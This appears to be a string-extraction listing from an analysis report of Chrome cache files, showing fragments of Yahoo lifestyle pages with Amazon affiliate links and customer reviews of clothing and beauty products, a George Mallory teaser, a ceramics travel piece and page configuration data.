Source: chromecache_545.3.dr	String found in binary or memory: It's light and airy, and falls great on your body so it's really flattering,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:6;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjNJVzAzRTY4SFhYQzE_dGFnPXlsZTAxLXAtby1oMTAtMjAiLCJjb250ZW50VXVpZCI6IjJjMTYzYmZlLTA0NzktNDk4Ni1hNjJjLTNmMTMzNzc2NmZhZiJ9&signature=AQAAAQn0o-S8OXDGTpsHff5sVm0BgFWfO6SIURySAxgu9ckC&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR3IW03E68HXXC1\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:wrote this satisfied customer.;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:6;pos:1;itc:0;sec:content-canvas\">wrote this satisfied customer.</a> \"I have a very large bust, so trying to find shirts that are loose but also don't make me look pregnant or like I'm wearing a bag are really hard to find. I'll be buying this in several colors!\"</p><p>\"I love that this shirt is lined in the front. ... So awesome to not be able to see through a light-colored shirt!\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:7;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjFDV1dCSlVTMVk2MzE_dGFnPXlsZTAxLXAtby1oMTAtMjAiLCJjb250ZW50VXVpZCI6IjJjMTYzYmZlLTA0NzktNDk4Ni1hNjJjLTNmMTMzNzc2NmZhZiJ9&signature=AQAAAW0oFq3JbFBnSmiazA7HsnBwwnvZBhPAPToK_2fTFomj&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR1CWWBJUS1Y631\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:revealed this five-star reviewer;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:7;pos:1;itc:0;sec:content-canvas\">revealed this five-star reviewer</a>. \"The shirt is a nice soft white and the lace trim is a good amount. ... Feels flirty and youthful but not childish. Will definitely get a lot of wear out of this one!\"</p><p>\"Must-have in every color! I'm obsessed,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:8;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjNKN05aQjZDN1BaRkw_dGFnPXlsZTAxLXAtby1oMTAtMjAiLCJjb250ZW50VXVpZCI6IjJjMTYzYmZlLTA0NzktNDk4Ni1hNjJjLTNmMTMzNzc2NmZhZiJ9
Source: chromecache_545.3.dr	String found in binary or memory: m a 38C and wow I could stand with a tiny bit more room in the bust, but not enough to make me order a large, which I think would be overwhelming in other areas.\"</p><p>\"Nice shirt but a little tight around the bust,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:10;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjE4RkVaMUNLNlVHTlAvcmVmPWNtX2NyX2FycF9kX3J2d190dGw_dGFnPXlsZTAxLXAtby1oMTAtMjAiLCJjb250ZW50VXVpZCI6IjJjMTYzYmZlLTA0NzktNDk4Ni1hNjJjLTNmMTMzNzc2NmZhZiJ9&signature=AQAAAfV-5RpRXiR_g93pEK9XqZuXWYyOk6XDQ5ks-lx3Mxxa&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR18FEZ1CK6UGNP%2Fref%3Dcm_cr_arp_d_rvw_ttl\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:echoed this shopper;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:10;pos:1;itc:0;sec:content-canvas\">echoed this shopper</a>.</p><p>\"Size matters,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:11;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjM4WUFFNzNHWTJVUkUvcmVmPWNtX2NyX2dldHJfZF9ydndfdHRsP3RhZz15bGUwMS1wLW8taDEwLTIwIiwiY29udGVudFV1aWQiOiIyYzE2M2JmZS0wNDc5LTQ5ODYtYTYyYy0zZjEzMzc3NjZmYWYifQ&signature=AQAAAanyEtK-P0mW5MuDq--v7NfoLnG1zP_QwfixeLNQs33C&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR38YAE73GY2URE%2Fref%3Dcm_cr_getr_d_rvw_ttl\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:reported one buyer;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:11;pos:1;itc:0;sec:content-canvas\">reported one buyer</a>. \"I really like this shirt. I ordered a medium but it was pretty tight across the bust, so I returned it and ordered an XL hoping it would fit like pictured. Nope! I swim in it. I haven equals www.yahoo.com (Yahoo)
Source: chromecache_430.3.dr, chromecache_671.3.dr	String found in binary or memory: s Wonder Theory science newsletter. </em><a href=\"https://www.cnn.com/newsletters/wonder-theory?source=nl-acq_article\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:Explore the universe with news on fascinating discoveries, scientific advancements and more;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\"><em>Explore the universe with news on fascinating discoveries, scientific advancements and more</em></a><em>.</em></p><p><span class=\"caas-xray-inline-tooltip\"><span class=\"caas-xray-inline caas-xray-entity caas-xray-pill rapid-nonanchor-lt\" data-entity-id=\"George_Mallory\" data-ylk=\"cid:George_Mallory;pos:1;elmt:wiki;sec:pill-inline-entity;elm:pill-inline-text;itc:1;cat:Athlete;\" tabindex=\"0\" aria-haspopup=\"dialog\"><a href=\"https://search.yahoo.com/search?p=George%20Mallory\" data-i13n=\"cid:George_Mallory;pos:1;elmt:wiki;sec:pill-inline-entity;elm:pill-inline-text;itc:1;cat:Athlete;\" tabindex=\"-1\" data-ylk=\"slk:George Mallory;cid:George_Mallory;pos:1;elmt:wiki;sec:pill-inline-entity;elm:pill-inline-text;itc:1;cat:Athlete;\" class=\"link rapid-noclick-resp\">George Mallory</a></span></span> is renowned for being one of the first British mountaineers to attempt to scale the dizzying heights of Mount Everest during the 1920s equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr	String found in binary or memory: s a perfect hue (or perhaps two!) for you.</p><figure class=caas-figure><div><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader noheight\" data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/2VSXeTn572YNaPN2QhcuFQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA7Y2Y9d2VicA--/https://s.yimg.com/os/creatr-uploaded-images/2023-04/89756630-e2d4-11ed-be1e-d2e5b9597904><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2RwL0IwODFZR0RIUUMvcmVmPXR3aXN0ZXJfQjA5V0tETE1OWT90YWc9eWxlMDEtcC1vLWgxMC0yMCIsImNvbnRlbnRVdWlkIjoiMmMxNjNiZmUtMDQ3OS00OTg2LWE2MmMtM2YxMzM3NzY2ZmFmIn0&signature=AQAAAbuA4Y7bgwAZy7xSoVw-3WXksO6H4NzxxudZ1tgBW-Z1&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fdp%2FB081YGDHQC%2Fref%3Dtwister_B09WKDLMNY data-ylk><img class=\"caas-img caas-lazy\" alt=\"the v-neck tank in three colors\" data-src=https://s.yimg.com/ny/api/res/1.2/aKPbX8hWz1lwY1hvsJ3lJw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtjZj13ZWJw/https://s.yimg.com/os/creatr-uploaded-images/2023-04/89756630-e2d4-11ed-be1e-d2e5b9597904><noscript><img alt=\"the v-neck tank in three colors\" src=https://s.yimg.com/ny/api/res/1.2/aKPbX8hWz1lwY1hvsJ3lJw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MDtjZj13ZWJw/https://s.yimg.com/os/creatr-uploaded-images/2023-04/89756630-e2d4-11ed-be1e-d2e5b9597904 class=caas-img></noscript></a></div></div></div><div class=\"caption-wrapper caption-aligned-with-image\"><figcaption class=caption-collapse>This adorable tank will be your new wardrobe staple. (Amazon)<span class=caption-credit> (Amazon)</span></figcaption></div></figure><h2 class=caas-jump-link-heading id=what-the-reviewers-say- equals www.yahoo.com (Yahoo)
Source: chromecache_545.3.dr	String found in binary or memory: s a perfect hue (or perhaps two!) for you.</p><figure class=caas-figure><div><div><div class=\"caas-img-container caas-img-lightbox caas-img-loader noheight\" data-lightbox-src=https://s.yimg.com/ny/api/res/1.2/Kpxz88XbS1wWd2XAcFV5NQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTI0MDA-/https://s.yimg.com/os/creatr-uploaded-images/2023-04/89756630-e2d4-11ed-be1e-d2e5b9597904><a class=\"link rapid-noclick-resp\" href=https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2RwL0IwODFZR0RIUUMvcmVmPXR3aXN0ZXJfQjA5V0tETE1OWT90YWc9eWxlMDEtcC1vLWgxMC0yMCIsImNvbnRlbnRVdWlkIjoiMmMxNjNiZmUtMDQ3OS00OTg2LWE2MmMtM2YxMzM3NzY2ZmFmIn0&signature=AQAAAbuA4Y7bgwAZy7xSoVw-3WXksO6H4NzxxudZ1tgBW-Z1&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fdp%2FB081YGDHQC%2Fref%3Dtwister_B09WKDLMNY data-ylk><img class=\"caas-img caas-lazy\" alt=\"the v-neck tank in three colors\" data-src=https://s.yimg.com/ny/api/res/1.2/Q6mV.tR8z3fCiXB6Lr.wzQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MA--/https://s.yimg.com/os/creatr-uploaded-images/2023-04/89756630-e2d4-11ed-be1e-d2e5b9597904><noscript><img alt=\"the v-neck tank in three colors\" src=https://s.yimg.com/ny/api/res/1.2/Q6mV.tR8z3fCiXB6Lr.wzQ--/YXBwaWQ9aGlnaGxhbmRlcjt3PTk2MA--/https://s.yimg.com/os/creatr-uploaded-images/2023-04/89756630-e2d4-11ed-be1e-d2e5b9597904 class=caas-img></noscript></a></div></div></div><div class=\"caption-wrapper caption-aligned-with-image\"><figcaption class=caption-collapse>This adorable tank will be your new wardrobe staple. (Amazon)<span class=caption-credit> (Amazon)</span></figcaption></div></figure><h2 class=caas-jump-link-heading id=what-the-reviewers-say- equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr	String found in binary or memory: s history and and pottery production.</p><p>To read the rest of this post which includes an interview with Heath Ceramics in Japan, a dispatch from a super-niche Portuguese ceramics museum AND five more major museums wholly dedicated to ceramics to put on your radar, explore <a data-i13n=\"cpos:6;pos:1\" href=\"https://inhand.substack.com\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:In Hand;cpos:6;pos:1;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\">In Hand</a>.</p><div class=caas-y4c-creator-bio-container><div class=caas-y4c-creator-logo-wrapper><a class=\"link rapid-noclick-resp caas-y4c-brand-link\" href=https://www.yahoo.com/creators/in-hand rel=\"noopener noreferrer\" target=_blank data-ylk=elm:author;elmt:creator-image;g:76273722-98bb-3ff9-917c-a6906da8268f;sec:creator-bio;subsec:creator-article;itc:0;pkgt:footer><div class=caas-y4c-creator-logo><img class=caas-img alt=\"In Hand\" src=https://s.yimg.com/ny/api/res/1.2/Ts37naiHmAzdiFZi6PPJmw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTgwO2g9ODA7Y2Y9d2VicA--/https://o.aolcdn.com/images/dims?image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-03%2Fce49ec10-e231-11ee-bb2b-d01067736fb4&thumbnail=160%2C160%2Cauto&compress=1&progressive=1&quality=100&client=hawkeye&signature=876f8f7714d2855b96e079a0c170ec82c0b2c204 data-src=https://s.yimg.com/ny/api/res/1.2/Ts37naiHmAzdiFZi6PPJmw--/YXBwaWQ9aGlnaGxhbmRlcjt3PTgwO2g9ODA7Y2Y9d2VicA--/https://o.aolcdn.com/images/dims?image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-03%2Fce49ec10-e231-11ee-bb2b-d01067736fb4&thumbnail=160%2C160%2Cauto&compress=1&progressive=1&quality=100&client=hawkeye&signature=876f8f7714d2855b96e079a0c170ec82c0b2c204></div></a></div><div class=caas-y4c-creator-bio><a class=\"link rapid-noclick-resp caas-y4c-brand-link\" href=https://www.yahoo.com/creators/in-hand rel=\"noopener noreferrer\" target=_blank data-ylk=elm:author;elmt:creator-name;g:76273722-98bb-3ff9-917c-a6906da8268f;sec:creator-bio;subsec:creator-article;itc:0;pkgt:footer><span class=caas-y4c-creator-bio-name>In Hand</span></a><span class=caas-y4c-creator-bio-separator>·</span><a class=\"link rapid-noclick-resp caas-y4c-creator-bio-title\" href=https://creators.yahoo.com/ rel=\"noopener noreferrer\" target=_blank data-ylk=elm:disclosure;elmt:disclosure;sec:creator-bio;subsec:creator-article;itc:0;pkgt:footer><span>Yahoo Creator</span></a><p class=caas-y4c-creator-bio-description>Written by Lisa Borgnes Giramonti and Meghan McEwen, IN HAND is part travelogue and part travel ethos equals www.yahoo.com (Yahoo)
Source: chromecache_545.3.dr	String found in binary or memory: s history and and pottery production.</p><p>To read the rest of this post which includes an interview with Heath Ceramics in Japan, a dispatch from a super-niche Portuguese ceramics museum AND five more major museums wholly dedicated to ceramics to put on your radar, explore <a data-i13n=\"cpos:6;pos:1\" href=\"https://inhand.substack.com\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:In Hand;cpos:6;pos:1;elm:context_link;itc:0;sec:content-canvas\" class=\"link rapid-noclick-resp\">In Hand</a>.</p><div class=caas-y4c-creator-bio-container><div class=caas-y4c-creator-logo-wrapper><a class=\"link rapid-noclick-resp caas-y4c-brand-link\" href=https://www.yahoo.com/creators/in-hand rel=\"noopener noreferrer\" target=_blank data-ylk=elm:author;elmt:creator-image;g:76273722-98bb-3ff9-917c-a6906da8268f;sec:creator-bio;subsec:creator-article;itc:0;pkgt:footer><div class=caas-y4c-creator-logo><img class=caas-img alt=\"In Hand\" src=https://s.yimg.com/ny/api/res/1.2/p3eA06DyUlb.At3aqkREzg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTgwO2g9ODA-/https://o.aolcdn.com/images/dims?image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-03%2Fce49ec10-e231-11ee-bb2b-d01067736fb4&thumbnail=160%2C160%2Cauto&compress=1&progressive=1&quality=100&client=hawkeye&signature=876f8f7714d2855b96e079a0c170ec82c0b2c204 data-src=https://s.yimg.com/ny/api/res/1.2/p3eA06DyUlb.At3aqkREzg--/YXBwaWQ9aGlnaGxhbmRlcjt3PTgwO2g9ODA-/https://o.aolcdn.com/images/dims?image_uri=https%3A%2F%2Fs.yimg.com%2Fos%2Fcreatr-uploaded-images%2F2024-03%2Fce49ec10-e231-11ee-bb2b-d01067736fb4&thumbnail=160%2C160%2Cauto&compress=1&progressive=1&quality=100&client=hawkeye&signature=876f8f7714d2855b96e079a0c170ec82c0b2c204></div></a></div><div class=caas-y4c-creator-bio><a class=\"link rapid-noclick-resp caas-y4c-brand-link\" href=https://www.yahoo.com/creators/in-hand rel=\"noopener noreferrer\" target=_blank data-ylk=elm:author;elmt:creator-name;g:76273722-98bb-3ff9-917c-a6906da8268f;sec:creator-bio;subsec:creator-article;itc:0;pkgt:footer><span class=caas-y4c-creator-bio-name>In Hand</span></a><span class=caas-y4c-creator-bio-separator>·</span><a class=\"link rapid-noclick-resp caas-y4c-creator-bio-title\" href=https://creators.yahoo.com/ rel=\"noopener noreferrer\" target=_blank data-ylk=elm:disclosure;elmt:disclosure;sec:creator-bio;subsec:creator-article;itc:0;pkgt:footer><span>Yahoo Creator</span></a><p class=caas-y4c-creator-bio-description>Written by Lisa Borgnes Giramonti and Meghan McEwen, IN HAND is part travelogue and part travel ethos equals www.yahoo.com (Yahoo)
Source: chromecache_365.3.dr, chromecache_545.3.dr	String found in binary or memory: s signature triple-tiered lash pads, the handy gadget curls lashes at three different points to create a dramatic curl with just one squeeze. The soft silicone material bottom pad and more structured upper pad work together to provide a gentle but more effective curl.</p><p>\"I've been curling my eyelashes for over 40 years and I've always used the old-fashioned curlers with the metal on top and black pad on the bottom,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:12;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjJUV1ZBTzNaNllSMzQvP3RhZz15bGUwMS1wLW8taDd5LTIwIiwiY29udGVudFV1aWQiOiI0NGZhMTljNC0yMTZhLTRiNWUtOTQxZi1lNzQ1YTZiYjgyYjEifQ&signature=AQAAAafzzvbmIL9UOj80YCD1pq1uPIAL5LjTU6UFXHByofoG&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR2TWVAO3Z6YR34%2F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:wrote one customer;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:12;pos:1;itc:0;sec:content-canvas\">wrote one customer</a>. \"Not only did this curler give a natural-looking curl, it made my lashes look so much longer and so pretty! I've been using it every day and my lashes have never looked better!\"</p><p>Even when they aren equals www.yahoo.com (Yahoo)
Source: chromecache_545.3.dr	String found in binary or memory: s the best product on the market. I am the result of a great product.\"</p><p>\"Does a great job of cleansing my extremely sensitive skin while not drying it out. If I use it regularly, my dry, flaky skin and my eczema are greatly reduced,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:6;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjI1SUtBSkVWWjZaVTIvP3RhZz15bGUwMS1wLW8taDd5LTIwIiwiY29udGVudFV1aWQiOiI0NGZhMTljNC0yMTZhLTRiNWUtOTQxZi1lNzQ1YTZiYjgyYjEifQ&signature=AQAAAREpT_QSE26yf3roDgC6HAzTXNFYZJ3SfvvAETqtqo2G&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR25IKAJEVZ6ZU2%2F\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:raved one;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:6;pos:1;itc:0;sec:content-canvas\">raved one</a>.</p><p>\"My dermatologist, who sells all brands of high-end products in her clinic, recommended this cleanser, as the best one for her patients to use,\" <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:7;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=text-link&merchantName=Amazon&custData=eyJzb3VyY2VOYW1lIjoiV2ViLURlc2t0b3AtVmVyaXpvbiIsImxhbmRpbmdVcmwiOiJodHRwczovL3d3dy5hbWF6b24uY29tL2dwL2N1c3RvbWVyLXJldmlld3MvUjI3VjkwWUZPUEZTVDYvcmVmPWNtX2NyX2FycF9kX3J2d190dGw_dGFnPXlsZTAxLXAtby1oN3ktMjAiLCJjb250ZW50VXVpZCI6IjQ0ZmExOWM0LTIxNmEtNGI1ZS05NDFmLWU3NDVhNmJiODJiMSJ9&signature=AQAAAfxUsc4zovZKyEO6HR772rXFMpyuleDwov6gpyWTEWn_&gcReferrer=https%3A%2F%2Fwww.amazon.com%2Fgp%2Fcustomer-reviews%2FR27V90YFOPFST6%2Fref%3Dcm_cr_arp_d_rvw_ttl\" class=\"link rapid-noclick-resp rapid-with-clickid etailiffa-link\" rel=\"nofollow noopener\" target=\"_blank\" data-ylk=\"slk:one Amazon shopper;elm:affiliate_link;sellerN:Amazon;elmt:;cpos:7;pos:1;itc:0;sec:content-canvas\">one Amazon shopper</a> shared. \"When I started using it, it is hands-down, by far the best facial cleanser I have ever used!! It is light and removes everything to wear. My serums absorb better and into my skin, leaving it much brighter and clear!\"</p><p>\"As a man, I have pretty much used shampoo as body wash, shaving cream as lotion, soap as shampoo, you name it. I had no idea that there's a separate kind of soap you're supposed to use for your face until my wife had this and I began using it because I ran out of my stuff,\" wrote <a data-i13n=\"elm:affiliate_link;sellerN:Amazon;elmt:;cpos:8;pos:1\" href=\"https://shopping.yahoo.com/rdlw?merchantId=66ea567a-c987-4c2e-a2ff-02904efde6ea&siteId=us-lifestyle&pageId=1p-autolink&featureId=tex
Source: chromecache_430.3.dr	String found in binary or memory: s the reason why","tpConsent":true,"type":"story","url":"https://www.yahoo.com/lifestyle/wait-nestle-drumsticks-don-t-203406557.html","uuid":"0056d40c-adda-3e16-82e7-435111b2ce12","videoPosition":"","wikiids":"TikTok,Ice_cream,Food_and_Drug_Administration,Chemical_engineering,Grocery_store","xrayMeta":[],"ycts":"001000528","hasYahooVideo":false,"commentSectionId":5668147,"homepageUrl":"https://www.yahoo.com/lifestyle/wait-nestle-drumsticks-don-t-203406557.html","VUID":"YYsyErTFer-RQVjar_jYQw"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York data-params='{\"features\":{\"enableEVPlayer\":true,\"enableOverrideSpaceId\":true,\"contentFeedbackEnabled\":true,\"enableAdFeedbackV2\":true,\"enableInArticleAd\":true,\"enableOpinionLabel\":true,\"enableSingleSlotting\":true,\"enableVideoDocking\":true,\"outStream\":true,\"showCommentsIconWithDynamicCount\":true,\"enableStickyAds\":true,\"showCommentsIconInShareSec\":true,\"enableAdSlotsNewMap\":true,\"enableGAMAds\":true,\"enableGAMAdsOnLoad\":true,\"enableFinancePremiumTicker\":true,\"enableAdLiteUpSellFeedback\":true,\"enableCommentsCountInViewCommentsCta\":true,\"enableRRAdsSlots\":true,\"enableRRAdsSlotsWithJAC\":true,\"newsModal\":true,\"enableViewCommentsCTA\":true},\"config\":{\"authorBylineCollapseLineCount\":2,\"commerceQuickOverviewLimit\":5,\"freezeOnLinkClick\":true,\"lazyOffsetY\":1300,\"livecoverage\":{\"defer\":false},\"imageCaptionCollapseLineCount\":3,\"slideshowCaptionCollapseLineCount\":2,\"uiShowPreviousButtonOnLoad\":true,\"prestigeScrollMarginTop\":-72}}' data-space-id=1197792446 id=caas-art-0056d40c-adda-3e16-82e7-435111b2ce12><art
Source: chromecache_671.3.dr	String found in binary or memory: s the reason why","tpConsent":true,"type":"story","url":"https://www.yahoo.com/lifestyle/wait-nestle-drumsticks-don-t-203406557.html","uuid":"0056d40c-adda-3e16-82e7-435111b2ce12","videoPosition":"","wikiids":"TikTok,Ice_cream,Food_and_Drug_Administration,Chemical_engineering,Grocery_store","xrayMeta":[],"ycts":"001000528","hasYahooVideo":false,"commentSectionId":5668147,"homepageUrl":"https://www.yahoo.com/lifestyle/wait-nestle-drumsticks-don-t-203406557.html","VUID":"ZKsyrWabD0LADHpwNXoAow"}},"modules":{},"markup":"<div class=\"caas caas-cc frontpage enableEVPlayer enableOverrideSpaceId contentFeedbackEnabled enableAdFeedbackV2 enableInArticleAd enableOpinionLabel enableSingleSlotting enableVideoDocking outStream showCommentsIconWithDynamicCount enableStickyAds showCommentsIconInShareSec enableAdSlotsNewMap enableGAMAds enableGAMAdsOnLoad enableFinancePremiumTicker enableAdLiteUpSellFeedback enableCommentsCountInViewCommentsCta enableRRAdsSlots enableRRAdsSlotsWithJAC newsModal enableViewCommentsCTA\" data-assets=[] data-device=desktop data-i18n='{\"{date} at {time}\":\"{date} at {time}\",\"{0} hr ago\":\"{0} hr ago\",\"{0} min ago\":\"{0} min ago\",\"{0} mins ago\":\"{0} mins ago\",\"{0} Views\":\"{0} Views\",\"INLINE_CONSENT_BLOCKED_3P_BUTTON_ALLOW\":\"Allow\",\"LESS\":\"Less\",\"LIVE_IS_OVER\":\"LIVE COVERAGE IS OVER\",\"LOADING\":\"Loading\",\"MORE\":\"More\",\"NEW_UPDATE\":\"new update\",\"NEW_UPDATES\":\"new updates\",\"JUST_NOW\":\"Just now\",\"RELOAD\":\"Click to reload with latest update\",\"SEE {0} MORE\":\"See {0} more\",\"SEE_LESS\":\"See less\",\"SEE_MORE\":\"See more\",\"SHOW_MORE\":\"Show more updates\",\"TODAY\":\"Today\",\"TRY_AGAIN\":\"Something went wrong. Try again\",\"UPDATE\":\"update\",\"UPDATES\":\"updates\",\"VIDEO_A11Y_DISABLE_FULLSCREEN\":\"Full Screen, button, disabled, temporarily not available for screen reader users\"}' data-lang=en-US data-tz=America/New_York 